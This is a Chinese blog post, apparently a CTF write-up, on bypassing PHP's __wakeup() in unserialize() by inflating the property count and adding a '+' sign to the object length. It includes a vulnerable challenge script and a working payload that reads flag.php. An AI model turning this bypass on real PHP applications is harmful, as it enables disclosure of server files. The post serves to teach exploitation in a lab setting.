反序列化__wakeup()绕过

本文详细解释了PHP中__wakeup魔术方法的漏洞,当序列化字符串中的属性个数超出实际时,会跳过该方法的执行。作者通过实例展示了如何利用此漏洞绕过安全限制,以及修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

据陈腾师傅所说:

漏洞产生原因:
如果存在——wakeup()方法,调用unserilze()方法前则线调用——wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会tiaoguo——wakeup()的执行。

也就是属性个数比你实际个数多。

但是限制很大,5<php<5.6&&<7php<7.0.1

举个例子:

o:4:"test":2:{s:2:"v1":s:6:"benben":s:2:"v2";s:3:"123";}

在这里如果test本来有wake()——魔术方法,但是我把2改成3,那就不会触发。

<?php
error_reporting(0);
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
    }

    function __destruct(){
        include_once($this->file);
        echo $flag;
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){
        echo "Are you daydreaming?";
    }
    else{
        unserialize($cmd);
    }
}
//sercet in flag.php
?>

这里因为flag在flag.php但是我只要进行反序列化就会触发wake()魔术方法,使file=index.php,这不是我们要的,所以必须绕过它,这里直接复制前面代码,把file改为flag.php,进行反序列化,得到正常的pop链,之后再把   后面的数字加个正号,然后把属性加一,接下来URL编码就可以绕过。

代码:

<?php
class secret
{
    var $file = 'flag.php';
}
echo serialize(new secret());
$a='O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}';
echo urlencode($a);

如下图:

一句话:绕过__wakeup()就三步走:

(1)拿到正常反序列化字符串

(2)在pop链O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}加入正号

(3)URL编码提交

当然了,在最后还得做一个小总结:__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

希望文章对大家能够有帮助!

### CTF 中反序列化漏洞与 `__wakeup` 函数绕过技巧 #### 反序列化漏洞简介 在网络安全领域,CTF(Capture The Flag)比赛中经常涉及反序列化漏洞的利用。这类漏洞源于应用程序信任并处理未经验证的数据流,在对象被重新创建的过程中可能引发恶意行为[^1]。 #### PHP中的反序列化机制 对于PHP而言,当程序接收到表示先前保存状态的对象字符串时会触发反序列化进程。如果攻击者能够控制这个输入,则可以精心构造数据来操纵目标应用内部逻辑甚至执行任意代码[^2]。 #### 利用`__wakeup()`实现绕过的原理 特别地,在某些情况下,开发者可能会定义特殊的方法如`__sleep()`和`__wakeup()`用于自定义序列化/反序列化的流程。后者会在每次成功恢复之前自动调用;因此成为了一个潜在的安全风险点——只要能影响到它的入参就有可能达成预期之外的效果[^3]。 具体来说,假设存在如下场景: - 应用中有某个类实现了上述提到的一个或多个魔术方法; - 攻击面允许提交经过编码后的payload作为待解析的内容; - 关键在于找到一条从外部可控入口直达敏感操作之间的路径,并且其间没有任何有效的防护措施阻止这种交互的发生。 此时就可以考虑构建特定结构体使得一旦完成加载就会立即激活预设好的指令链条,进而达到诸如泄露服务器端文件内容的目的[^5]。 ```php <?php class File { public $filename; public $filetype; function __construct($name, $type){ $this->filename=$name; $this->filetype=$type; } function __wakeup(){ if ($this->filetype === 'image/jpeg'){ echo "Normal operation"; }else{ // 这里可能存在危险的操作,比如读取其他文件 var_dump(readfile("php://filter/read=convert.base64-encode/resource={$this->filename}")); } } } ?> ``` 此段代码展示了如何通过设置不同的$filetype属性值来决定是否执行不安全的行为。实际环境中应当避免让此类条件判断依赖于用户提供的信息以防滥用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值